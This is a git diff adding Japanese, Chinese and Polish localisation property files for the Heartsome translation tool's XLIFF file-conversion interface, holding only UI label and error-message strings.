+Convert2xliff.182= +Convert2xliff.183= +Convert2xliff.189= +Convert2xliff.195= +Convert2xliff.20=\u53C2\u7167... +Convert2xliff.207= +Convert2xliff.208= +Convert2xliff.209= +Convert2xliff.210= +Convert2xliff.211= +Convert2xliff.212= +Convert2xliff.220= +Convert2xliff.222= +Convert2xliff.225= +Convert2xliff.229= +Convert2xliff.26=XLIFF \u30D5\u30A1\u30A4\u30EB +Convert2xliff.27=\u53C2\u7167... +Convert2xliff.32=\u539F\u6587\u30D5\u30A1\u30A4\u30EB\u306E\u30D7\u30ED\u30D1\u30C6\u30A3 +Convert2xliff.33=\u30D5\u30A1\u30A4\u30EB\u306E\u7A2E\u985E +Convert2xliff.34=\u8A00\u8A9E\u9078\u629E +Convert2xliff.35=\u30A8\u30F3\u30B3\u30FC\u30C9 +Convert2xliff.36=\u5909\u63DB\u30AA\u30D7\u30B7\u30E7\u30F3 +Convert2xliff.37=\u6BB5\u843D\u3054\u3068\u306B\u533A\u5207\u308B +Convert2xliff.38=\u6539\u884C\u3054\u3068\u306B\u533A\u5207\u308B (\u30C6\u30AD\u30B9\u30C8\u6587\u66F8) +Convert2xliff.39=\u30D5\u30A1\u30A4\u30EB\u66F8\u5F0F\u3092 XLIFF \u306B\u4FDD\u5B58 +Convert2xliff.40=\u7FFB\u8A33\u30AA\u30D7\u30B7\u30E7\u30F3 +Convert2xliff.41=\u8A33\u6587\u3092\u8FFD\u52A0 +Convert2xliff.42=\u5927\u6587\u5B57\u3068\u5C0F\u6587\u5B57\u3092\u533A\u5225 +Convert2xliff.43=QTM \u3092\u9069\u7528 +Convert2xliff.45=\u8A33\u6587\u306E\u8A00\u8A9E +Convert2xliff.46=\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9 +Convert2xliff.47=QTM \u30C7\u30FC\u30BF\u30D9\u30FC\u30B9 +Convert2xliff.48=\u4E00\u81F4\u7CBE\u5EA6\u6700\u5C0F\u5024(%) +Convert2xliff.65=\u6700\u5927\u4E00\u81F4\u6570 +Convert2xliff.77=\u5909\u63DB\u5F8C\u306B XLIFF \u30D5\u30A1\u30A4\u30EB\u3092\u958B\u304F +Convert2xliff.78=XLIFF \u306B\u5909\u63DB +Convert2xliff.80=\u5909\u63DB\u3059\u308B\u30D5\u30A1\u30A4\u30EB\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +Convert2xliff.82=\u5909\u63DB\u3059\u308B\u30D5\u30A1\u30A4\u30EB\u306E\u540D\u524D\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +Convert2xliff.83=\u5909\u63DB\u5F8C\u306E\u30D5\u30A1\u30A4\u30EB\u306B\u306F\u5225\u540D\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +Convert2xliff.85=\u8A00\u8A9E\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +Convert2xliff.87=\u30A8\u30F3\u30B3\u30FC\u30C9\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +Convert2xliff.89=\u8A33\u6587\u306E\u8A00\u8A9E\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +Convert2xliff.91=\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +Convert2xliff.93=\u8A33\u6587\u306E\u8A00\u8A9E\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +Convert2xliff.95=\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +Convert2xliff.96=\u9589\u3058\u308B +ConvertProjects.0=XLIFF \u30D5\u30A1\u30A4\u30EB\u306B\u5909\u63DB +ConvertProjects.1=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u30D5\u30A1\u30A4\u30EB +ConvertProjects.10=\u5927\u6587\u5B57\u3068\u5C0F\u6587\u5B57\u3092\u533A\u5225 +ConvertProjects.103=\u5909\u63DB\u304C\u5B8C\u4E86\u3057\u307E\u3057\u305F\u3002 +ConvertProjects.104=SRX \u30EB\u30FC\u30EB +ConvertProjects.105=\u53C2\u7167... +ConvertProjects.11=\u8A33\u6587\u3092\u8FFD\u52A0 +ConvertProjects.110=SRX \u30D5\u30A1\u30A4\u30EB [*.srx] +ConvertProjects.112=\u3059\u3079\u3066\u306E\u30D5\u30A1\u30A4\u30EB [*.*] +ConvertProjects.116=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u304C\u4E0D\u5B8C\u5168\u3067\u3059\u3002 \u539F\u6587\u30D5\u30A1\u30A4\u30EB\u540D\u306E\u30A8\u30F3\u30C8\u30EA\u304C\u898B\u3064\u304B\u308A\u307E\u305B\u3093\u3002 +ConvertProjects.12=QTM \u3092\u9069\u7528 +ConvertProjects.120=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u304C\u4E0D\u5B8C\u5168\u3067\u3059\u3002 \u30D5\u30A1\u30A4\u30EB\u306E\u7A2E\u985E\u306E\u30A8\u30F3\u30C8\u30EA\u304C\u898B\u3064\u304B\u308A\u307E\u305B\u3093\u3002 +ConvertProjects.124=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u304C\u4E0D\u5B8C\u5168\u3067\u3059\u3002 \u539F\u6587\u30A8\u30F3\u30B3\u30FC\u30C9\u306E\u30A8\u30F3\u30C8\u30EA\u304C\u898B\u3064\u304B\u308A\u307E\u305B\u3093\u3002 +ConvertProjects.128=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u304C\u4E0D\u5B8C\u5168\u3067\u3059\u3002 \u539F\u6587\u8A00\u8A9E\u306E\u30A8\u30F3\u30C8\u30EA\u304C\u898B\u3064\u304B\u308A\u307E\u305B\u3093\u3002 +ConvertProjects.13=\u7FFB\u8A33\u30AA\u30D7\u30B7\u30E7\u30F3 +ConvertProjects.132=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u304C\u4E0D\u5B8C\u5168\u3067\u3059\u3002 \u8A33\u6587\u30B3\u30FC\u30C9\u306E\u30A8\u30F3\u30C8\u30EA\u304C\u898B\u3064\u304B\u308A\u307E\u305B\u3093\u3002 +ConvertProjects.136=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u304C\u4E0D\u5B8C\u5168\u3067\u3059\u3002 \u8A33\u6587\u8A00\u8A9E\u306E\u30A8\u30F3\u30C8\u30EA\u304C\u898B\u3064\u304B\u308A\u307E\u305B\u3093\u3002 +ConvertProjects.14=\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9 +ConvertProjects.140=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u304C\u4E0D\u5B8C\u5168\u3067\u3059\u3002 \u8A33\u6587\u30D5\u30A1\u30A4\u30EB\u540D\u306E\u30A8\u30F3\u30C8\u30EA\u304C\u898B\u3064\u304B\u308A\u307E\u305B\u3093\u3002 +ConvertProjects.144=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u304C\u4E0D\u5B8C\u5168\u3067\u3059\u3002 XLIFF \u30D5\u30A1\u30A4\u30EB\u306E\u30A8\u30F3\u30C8\u30EA\u304C\u898B\u3064\u304B\u308A\u307E\u305B\u3093\u3002 +ConvertProjects.147=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u30D5\u30A1\u30A4\u30EB\u7D50\u5408 +ConvertProjects.148=XLIFF \u30D5\u30A1\u30A4\u30EB +ConvertProjects.149=\u53C2\u7167... +ConvertProjects.15=\u4E00\u81F4\u7CBE\u5EA6\u6700\u5C0F\u5024(%) +ConvertProjects.155=XLIFF \u30D5\u30A1\u30A4\u30EB [*.xlf] +ConvertProjects.156=\u3059\u3079\u3066\u306E\u30D5\u30A1\u30A4\u30EB [*.*] +ConvertProjects.158=XLIFF \u30D5\u30A1\u30A4\u30EB\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ConvertProjects.161= +ConvertProjects.170= +ConvertProjects.182= +ConvertProjects.185= +ConvertProjects.187= +ConvertProjects.188= +ConvertProjects.189= +ConvertProjects.190= +ConvertProjects.198= +ConvertProjects.2=\u53C2\u7167... +ConvertProjects.225= +ConvertProjects.235= +ConvertProjects.241= +ConvertProjects.3=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u30D5\u30A1\u30A4\u30EB [*.xlp] +ConvertProjects.32=\u6700\u5927\u4E00\u81F4\u6570 +ConvertProjects.4=\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ConvertProjects.44=QTM \u30C7\u30FC\u30BF\u30D9\u30FC\u30B9 +ConvertProjects.45=\u30D5\u30A1\u30A4\u30EB\u3092\u5909\u63DB +ConvertProjects.47=\u5909\u63DB\u3059\u308B\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ConvertProjects.5=\u3059\u3079\u3066\u306E\u30D5\u30A1\u30A4\u30EB [*.*] +ConvertProjects.50=\u9589\u3058\u308B +ConvertProjects.52=\u30D5\u30A1\u30A4\u30EB\u306E\u7A2E\u985E\u304C\u9055\u3044\u307E\u3059\u3002 +ConvertProjects.53=\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u306E\u958B\u59CB\u30A8\u30E9\u30FC\: {0} +ConvertProjects.57=XLIFF \u30D5\u30A1\u30A4\u30EB\u5F62\u5F0F\u306B\u5909\u63DB +ConvertProjects.58=\u5909\u63DB\u4E2D... +ConvertProjects.6=\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ConvertProjects.8=\u6BB5\u843D\u3054\u3068\u306B\u533A\u5207\u308B +ConvertProjects.83=TM +ConvertProjects.89=\u30D5\u30A1\u30A4\u30EB\u7FFB\u8A33\u30A8\u30E9\u30FC\: {0} +ConvertProjects.9=\u6539\u884C\u3054\u3068\u306B\u533A\u5207\u308B (\u30C6\u30AD\u30B9\u30C8\u6587\u66F8) +ConvertProjects.91=\u30AF\u30A4\u30C3\u30AF\u7FFB\u8A33 +ConvertProjects.99=\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u306E\u7D42\u4E86\u30A8\u30E9\u30FC\: {0} +FileFormats.0=HTML \u30D5\u30A1\u30A4\u30EB [*.htm, *.html] +FileFormats.1=JavaScript \u30D5\u30A1\u30A4\u30EB [*.js] +FileFormats.10=Abiword \u30D5\u30A1\u30A4\u30EB [*.abw] +FileFormats.11=SVG (Scalable Vector Graphics) \u30D5\u30A1\u30A4\u30EB [*.svg] +FileFormats.12=OpenOffice 2.0 \u30D5\u30A1\u30A4\u30EB [*.odt,*.ods,*.odp,*.odg] +FileFormats.15=TTX \u30D5\u30A1\u30A4\u30EB [*.ttx] +FileFormats.17=Adobe InDesign Interchange \u30D5\u30A1\u30A4\u30EB [*.inx] +FileFormats.18=ResX (Windows .NET Resources) \u30D5\u30A1\u30A4\u30EB [*.resx] +FileFormats.19=RC (Windows C/C++ Resources) \u30D5\u30A1\u30A4\u30EB [*.rc] +FileFormats.2=Java \u30D7\u30ED\u30D1\u30C6\u30A3\u30D5\u30A1\u30A4\u30EB [*.properties] +FileFormats.20=RC (Windows C/C++ Resources) \u30D5\u30A1\u30A4\u30EB [*.rc] +FileFormats.21=MS Office 2007 \u30D5\u30A1\u30A4\u30EB [*.docx,*.xlsx,*.pptx,*.ppsx] +FileFormats.22= +FileFormats.23= +FileFormats.24= +FileFormats.25= +FileFormats.26= +FileFormats.27= +FileFormats.28= +FileFormats.29= +FileFormats.3=MIF (Adobe FrameMaker Interchange Format) \u30D5\u30A1\u30A4\u30EB [*.mif] +FileFormats.30= +FileFormats.31= +FileFormats.32= +FileFormats.33= +FileFormats.34= +FileFormats.4=OpenOffice 1.x \u30D5\u30A1\u30A4\u30EB [*.sxw,*.sxc,*.sxi,*.sxd] +FileFormats.5=\u30C6\u30AD\u30B9\u30C8\u6587\u66F8 [*.txt] +FileFormats.6=PO (Portable Objects) \u30D5\u30A1\u30A4\u30EB [*.pot,*.po] +FileFormats.7=RTF (Rich Text Format) \u30D5\u30A1\u30A4\u30EB [*.rtf] +FileFormats.8=XML \u30D5\u30A1\u30A4\u30EB [*.xml] +FileFormats.9=\u3059\u3079\u3066\u306E\u30D5\u30A1\u30A4\u30EB [*.*] +FileFormatsSupportMsOffice.26= +FileFormatsSupportMsOffice.28= +RepetitionAnalysis.0=\u7E70\u8FD4\u3057\u89E3\u6790 +RepetitionAnalysis.1=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u540D +RepetitionAnalysis.106=\u5408\u8A08 +RepetitionAnalysis.11=\u5358\u8A9E\u6570 +RepetitionAnalysis.116=\u5358\u8A9E\u89E3\u6790 +RepetitionAnalysis.120=\u30D5\u30A1\u30A4\u30EB\u540D +RepetitionAnalysis.122=\u4E0D\u4E00\u81F4 +RepetitionAnalysis.124=100% +RepetitionAnalysis.126=\u7E70\u8FD4\u3057 +RepetitionAnalysis.128=95-99% +RepetitionAnalysis.130=85-94% +RepetitionAnalysis.132=75-84% +RepetitionAnalysis.132b=50-74% +RepetitionAnalysis.134=\u5408\u8A08 +RepetitionAnalysis.163=\u5408\u8A08 +RepetitionAnalysis.175=\u30D5\u30A1\u30A4\u30EB\u89E3\u6790 +RepetitionAnalysis.179=\u30D5\u30A1\u30A4\u30EB\u540D +RepetitionAnalysis.181=\u672A\u8A33 +RepetitionAnalysis.183=\u7FFB\u8A33\u6E08 +RepetitionAnalysis.185=\u627F\u8A8D +RepetitionAnalysis.187=\u672A\u627F\u8A8D +RepetitionAnalysis.189=\u5408\u8A08 +RepetitionAnalysis.2=\u53C2\u7167... +RepetitionAnalysis.203=\u5408\u8A08 +RepetitionAnalysis.21=\u30AD\u30E3\u30F3\u30BB\u30EB +RepetitionAnalysis.213=\u5099\u8003\: +RepetitionAnalysis.216=\u7E70\u8FD4\u3057(\u5358\u4E00\u30D5\u30A1\u30A4\u30EB) +RepetitionAnalysis.218=\= 1 \u3064\u306E\u30D5\u30A1\u30A4\u30EB\u5185\u3067\u306E\u7E70\u8FD4\u3057\u5206\u7BC0\u6570 +RepetitionAnalysis.221=\u7E70\u8FD4\u3057(\u8907\u6570\u30D5\u30A1\u30A4\u30EB) +RepetitionAnalysis.223=\= \u8907\u6570\u30D5\u30A1\u30A4\u30EB\u5185\u3067\u306E\u7E70\u8FD4\u3057\u5206\u7BC0\u6570 +RepetitionAnalysis.232=\u5206\u7BC0\u30C1\u30A7\u30C3\u30AF\u4E2D... +RepetitionAnalysis.233=\u30D5\u30A1\u30A4\u30EB\: {0} +RepetitionAnalysis.234=\u7E70\u8FD4\u3057\u5206\u7BC0\u30C1\u30A7\u30C3\u30AF\u4E2D... +RepetitionAnalysis.236=\u5206\u7BC0\u306B\u57FA\u3065\u304F\u89E3\u6790... +RepetitionAnalysis.238=\u5358\u8A9E\u306B\u57FA\u3065\u304F\u89E3\u6790... +RepetitionAnalysis.240=\u5206\u7BC0\u306B\u57FA\u3065\u304F\u89E3\u6790... +RepetitionAnalysis.242=\u5358\u8A9E\u306B\u57FA\u3065\u304F\u89E3\u6790... +RepetitionAnalysis.243=\u65E5\u4ED8 +RepetitionAnalysis.244=\u30B9\u30C6\u30FC\u30BF\u30B9 +RepetitionAnalysis.245=HTML \u30D5\u30A1\u30A4\u30EB\u306E\u30A2\u30D7\u30EA\u30B1\u30FC\u30B7\u30E7\u30F3\u304C\u8A2D\u5B9A\u3055\u308C\u3066\u3044\u307E\u305B\u3093\u3002 +RepetitionAnalysis.26={0} \u306E\u89E3\u6790\u7D50\u679C +RepetitionAnalysis.29={0} \u306E\u89E3\u6790\u7D50\u679C +RepetitionAnalysis.3=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u30D5\u30A1\u30A4\u30EB [*.xlp] +RepetitionAnalysis.4=\u3059\u3079\u3066\u306E\u30D5\u30A1\u30A4\u30EB [*.*] +RepetitionAnalysis.6=\u5206\u7BC0 +RepetitionAnalysis.62=\u7E70\u8FD4\u3057\u89E3\u6790 +RepetitionAnalysis.70=\u5206\u7BC0\u89E3\u6790 +RepetitionAnalysis.74=\u30D5\u30A1\u30A4\u30EB\u540D +RepetitionAnalysis.76=\u4E0D\u4E00\u81F4 +RepetitionAnalysis.78=\u4E00\u81F4 +RepetitionAnalysis.8=\u30EC\u30DD\u30FC\u30C8\u3092\u8868\u793A +RepetitionAnalysis.80=\u7E70\u8FD4\u3057(\u5358\u4E00\u30D5\u30A1\u30A4\u30EB) +RepetitionAnalysis.82=\u7E70\u8FD4\u3057(\u8907\u6570\u30D5\u30A1\u30A4\u30EB) +RepetitionAnalysis.84=\u5408\u8A08 +RepetitionAnalysis.9=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u30D5\u30A1\u30A4\u30EB\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ReverseConversion.0=\u30BF\u30B0\u306E\u8AA4\u308A\u307E\u305F\u306F\u524A\u9664\u3055\u308C\u3066\u3044\u307E\u3059\u3002 \u7D9A\u884C\u3057\u307E\u3059\u304B? +ReverseConversion.1=XLIFF \u30D5\u30A1\u30A4\u30EB [*.xlf] +ReverseConversion.10=\u30B5\u30DD\u30FC\u30C8\u3055\u308C\u3066\u3044\u306A\u3044 XLIFF \u30D5\u30A1\u30A4\u30EB\u3002 +ReverseConversion.12=\u5909\u63DB\u30D5\u30A1\u30A4\u30EB +ReverseConversion.13=\u53C2\u7167... +ReverseConversion.133=\u8A33\u6587\u306E\u4FDD\u5B58\u4E2D +ReverseConversion.136=XLIFF \u30D5\u30A1\u30A4\u30EB\u306E\u30D7\u30ED\u30D1\u30C6\u30A3 +ReverseConversion.137=\u5143\u306E\u30D5\u30A1\u30A4\u30EB\u5F62\u5F0F\: {0} +ReverseConversion.138=\u539F\u6587\u306E\u8A00\u8A9E\: {0} +ReverseConversion.139=\u8A33\u6587\u306E\u8A00\u8A9E\: {0} +ReverseConversion.140=\u5143\u306E\u30A8\u30F3\u30B3\u30FC\u30C9\: {0} +ReverseConversion.141=\u30B9\u30B1\u30EB\u30C8\u30F3\u306E\u7A2E\u985E\: {0} +ReverseConversion.142=XLIFF \u30D5\u30A1\u30A4\u30EB\u89E3\u6790 +ReverseConversion.144=\u6709\u52B9\u306A XLIFF \u30D5\u30A1\u30A4\u30EB\u304C\u9078\u629E\u3055\u308C\u3066\u3044\u307E\u305B\u3093\u3002 +ReverseConversion.157=\u5143\u306E\u30D5\u30A1\u30A4\u30EB\u5F62\u5F0F\u306B\u5909\u63DB\u3059\u308B\u524D\u306B XLIFF \u30D5\u30A1\u30A4\u30EB\u3092\u5206\u5272\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ReverseConversion.158=\u3053\u306E\u7A2E\u985E\u306E\u30D5\u30A1\u30A4\u30EB\u306F\u30B5\u30DD\u30FC\u30C8\u3055\u308C\u3066\u3044\u307E\u305B\u3093\u3002 +ReverseConversion.159=\u3053\u306E\u7A2E\u985E\u306E\u30D5\u30A1\u30A4\u30EB\u306F\u30B5\u30DD\u30FC\u30C8\u3055\u308C\u3066\u3044\u307E\u305B\u3093\u3002 +ReverseConversion.160=\u5916\u90E8 +ReverseConversion.161=\u5185\u90E8 - \u57CB\u3081\u8FBC\u307F +ReverseConversion.162=\u30B9\u30B1\u30EB\u30C8\u30F3\u60C5\u5831\u304C\u898B\u3064\u304B\u308A\u307E\u305B\u3093 +ReverseConversion.163=\u30B9\u30B1\u30EB\u30C8\u30F3\u60C5\u5831\u304C\u898B\u3064\u304B\u308A\u307E\u305B\u3093 +ReverseConversion.171=\u4E0D\u660E +ReverseConversion.176=\u539F\u56E0\u4E0D\u660E\u306E\u30A8\u30E9\u30FC\u3002 +ReverseConversion.177=\u8A00\u8A9E\u304C\u8A2D\u5B9A\u3055\u308C\u3066\u3044\u307E\u305B\u3093\u3002 +ReverseConversion.178=\u8A00\u8A9E\u304C\u8A2D\u5B9A\u3055\u308C\u3066\u3044\u307E\u305B\u3093\u3002 +ReverseConversion.179=Office Document +ReverseConversion.18=\u8A33\u6587\u3092 TM \u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u306B\u4FDD\u5B58 +ReverseConversion.185= +ReverseConversion.191= +ReverseConversion.192= +ReverseConversion.193= +ReverseConversion.194= +ReverseConversion.195= +ReverseConversion.196= +ReverseConversion.2=\u3059\u3079\u3066\u306E\u30D5\u30A1\u30A4\u30EB [*.*] +ReverseConversion.20=\u5143\u306E\u30D5\u30A1\u30A4\u30EB\u306B\u5909\u63DB +ReverseConversion.200= +ReverseConversion.210= +ReverseConversion.214= +ReverseConversion.22=\u5909\u63DB\u3059\u308B\u30D5\u30A1\u30A4\u30EB\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ReverseConversion.234= +ReverseConversion.24=\u5909\u63DB\u3059\u308B\u30D5\u30A1\u30A4\u30EB\u306E\u540D\u524D\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ReverseConversion.25=\u5909\u63DB\u5F8C\u306E\u30D5\u30A1\u30A4\u30EB\u306B\u306F\u5225\u540D\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ReverseConversion.263= +ReverseConversion.264= +ReverseConversion.27=\u30A8\u30F3\u30B3\u30FC\u30C9\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ReverseConversion.279= +ReverseConversion.280= +ReverseConversion.281= +ReverseConversion.283= +ReverseConversion.284= +ReverseConversion.285= +ReverseConversion.286= +ReverseConversion.3=\u30D5\u30A1\u30A4\u30EB\u5909\u63DB +ReverseConversion.30=\u9589\u3058\u308B +ReverseConversion.35=\u30D5\u30A1\u30A4\u30EB\u5909\u63DB +ReverseConversion.36=\u51E6\u7406\u4E2D... +ReverseConversion.4=XLIFF \u30D5\u30A1\u30A4\u30EB +ReverseConversion.46=\u5909\u63DB\u304C\u5B8C\u4E86\u3057\u307E\u3057\u305F\u3002 +ReverseConversion.47=\u539F\u56E0\u4E0D\u660E\u306E\u30A8\u30E9\u30FC\u3002 +ReverseConversion.48=\u5909\u63DB\u5F8C\u306B\u30D5\u30A1\u30A4\u30EB\u3092\u958B\u304F +ReverseConversion.5=\u53C2\u7167... +ReverseConversion.6=\u6587\u982D/\u6587\u672B\u30B9\u30DA\u30FC\u30B9\u306B\u9055\u3044\u304C\u3042\u308A\u307E\u3059\u3002 \u7D9A\u884C\u3057\u307E\u3059\u304B? +ReverseConversion.87=\u672A\u627F\u8A8D\u306E\u5206\u7BC0\u304C\u3042\u308A\u307E\u3059\u3002 \u7D9A\u884C\u3057\u307E\u3059\u304B? +ReverseProjects.0=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u30D5\u30A1\u30A4\u30EB\u3092\u5143\u306E\u30D5\u30A1\u30A4\u30EB\u5F62\u5F0F\u306B\u5909\u63DB +ReverseProjects.1=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u30D5\u30A1\u30A4\u30EB +ReverseProjects.11=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u30D5\u30A1\u30A4\u30EB\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ReverseProjects.13=\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +ReverseProjects.14=\u9589\u3058\u308B +ReverseProjects.15=\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u304C\u3042\u308A\u307E\u305B\u3093\u3002 +ReverseProjects.17=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u8A2D\u5B9A\u30D5\u30A1\u30A4\u30EB\u304C\u9078\u629E\u3055\u308C\u3066\u3044\u307E\u305B\u3093\u3002 +ReverseProjects.18=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u5909\u63DB +ReverseProjects.19=\u51E6\u7406\u4E2D... +ReverseProjects.2=\u53C2\u7167... +ReverseProjects.3=\u30D7\u30ED\u30B8\u30A7\u30AF\u30C8\u30D5\u30A1\u30A4\u30EB [*.xlp] +ReverseProjects.33=\u5909\u63DB\u304C\u5B8C\u4E86\u3057\u307E\u3057\u305F\u3002 +ReverseProjects.4=\u3059\u3079\u3066\u306E\u30D5\u30A1\u30A4\u30EB [*.*] +ReverseProjects.8=\u8A33\u6587\u3092\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u306B\u4FDD\u5B58 +ReverseProjects.9=\u5143\u306E\u30D5\u30A1\u30A4\u30EB\u306B\u5909\u63DB +UnexistentSegment.0=\u8981\u6C42\u3055\u308C\u305F\u5206\u7BC0\u304C\u30B9\u30B1\u30EB\u30C8\u30F3\u30D5\u30A1\u30A4\u30EB\u306B\u3042\u308A\u307E\u305B\u3093\u3002 +WrongFileException.0=\u30D5\u30A1\u30A4\u30EB\u306E\u7A2E\u985E\u304C\u9055\u3044\u307E\u3059\u3002 diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_new.properties b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_new.properties new file mode 100644 index 0000000..07d5861 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_new.properties @@ -0,0 +1,39 @@ +#Created by JInto - www.guh-software.de +#Tue Jan 05 15:53:38 GMT+08:00 2010 + +ConversionWizard.0=\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a Xliff +ConversionWizard.1=\u8f6c\u6362\u9009\u9879\u8bbe\u7f6e +ConversionWizard.2=\u9884\u7ffb\u8bd1\u9009\u9879\u8bbe\u7f6e + +ConversionWizardPage.0=\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a Xliff +ConversionWizardPage.1=\u8bf7\u5b8c\u5584\u4ee5\u4e0b\u6587\u4ef6\u7684\u8f6c\u6362\u914d\u7f6e\u4fe1\u606f\u3002 +ConversionWizardPage.2=\u9ed8\u8ba4\u5c5e\u6027 +ConversionWizardPage.3=\u6587\u4ef6\u683c\u5f0f +ConversionWizardPage.4=\u6e90\u7f16\u7801 +ConversionWizardPage.5=\u8f6c\u6362\u9009\u9879 +ConversionWizardPage.6=\u6309\u6bb5\u843d\u5206\u6bb5 +ConversionWizardPage.7=\u6309 CR/LF \u5206\u6bb5\uff08\u7eaf\u6587\u672c\uff09 +ConversionWizardPage.8=\u5c06\u9aa8\u67b6\u5d4c\u5165 XLIFF \u6587\u4ef6 +ConversionWizardPage.9=\u82e5\u76ee\u6807\u6587\u4ef6\u5df2\u5b58\u5728\u5219\u76f4\u63a5\u8986\u76d6 +ConversionWizardPage.10=\u5206\u6bb5\u9009\u9879 +ConversionWizardPage.11=SRX \u89c4\u5219 +ConversionWizardPage.12=\u6d4f\u89c8... +ConversionWizardPage.13=\u7b2c {0} \u884c: +ConversionWizardPage.14=\u6e90\u6587\u4ef6 +ConversionWizardPage.15=\u683c\u5f0f +ConversionWizardPage.16=\u6e90\u7f16\u7801 +ConversionWizardPage.17=XLIFF \u6587\u4ef6 + +ReverseConversionWizard.0=\u8f6c\u6362 Xliff \u4e3a\u6e90\u6587\u4ef6 +ReverseConversionWizard.1=\u8f6c\u6362\u9009\u9879\u8bbe\u7f6e + + +ConverterViewModel.0=\u6240\u9009\u6587\u4ef6\u4e0d\u662f\u6709\u6548\u7684 XLIFF \u6587\u6863\u3002 +ConverterViewModel.1=\u5728\u5c1d\u8bd5\u8f6c\u6362\u4e3a\u539f\u59cb\u683c\u5f0f\u4e4b\u524d\uff0c\u5fc5\u987b\u5148\u5206\u5272 XLIFF \u6587\u4ef6\u3002 + +ReverseConversionValidateWithLibrary3.0=\u672a\u8bbe\u7f6e\u8bed\u8a00\u3002 +ReverseConversionValidateWithLibrary3.1=xml\:lang + +FileConversionItemDialog.0=SRX Files [*.srx] +FileConversionItemDialog.1=XML Files [*.xml] +FileConversionItemDialog.2=All Files [*.*] \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_pl.properties b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_pl.properties new file mode 100644 index 0000000..d49aa08 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_pl.properties @@ -0,0 +1,306 @@ +#Created by JInto - www.guh-software.de +#Tue Jan 05 15:52:39 GMT+08:00 2010 +Convert2xliff.0=Pliki XLIFF [*.xlf] +Convert2xliff.1=Wszystkie pliki [*.*] +Convert2xliff.118=Konwersja na XLIFF +Convert2xliff.120=B\u0142\u0105d podczas t\u0142umaczenia dokumentu\: {0} +Convert2xliff.122=T\u0142umaczenie z bazy TM +Convert2xliff.124=B\u0142\u0105d podczas t\u0142umaczenia dokumentu\: {0} +Convert2xliff.128=T\u0142umaczenie z podr\u0119cznej TM +Convert2xliff.130=B\u0142\u0105d podczas t\u0142umaczenia dokumentu\: {0} +Convert2xliff.132=Do\u0142\u0105czanie szkieletu +Convert2xliff.133=B\u0142\u0105d podczas do\u0142\u0105czania szkieletu\: {0} +Convert2xliff.135=Konwersja zako\u0144czona. +Convert2xliff.138=Opcje segmentacji +Convert2xliff.139=Regu\u0142y SRX +Convert2xliff.140=Przegl\u0105daj... +Convert2xliff.145=Pliki SRX [*.srx] 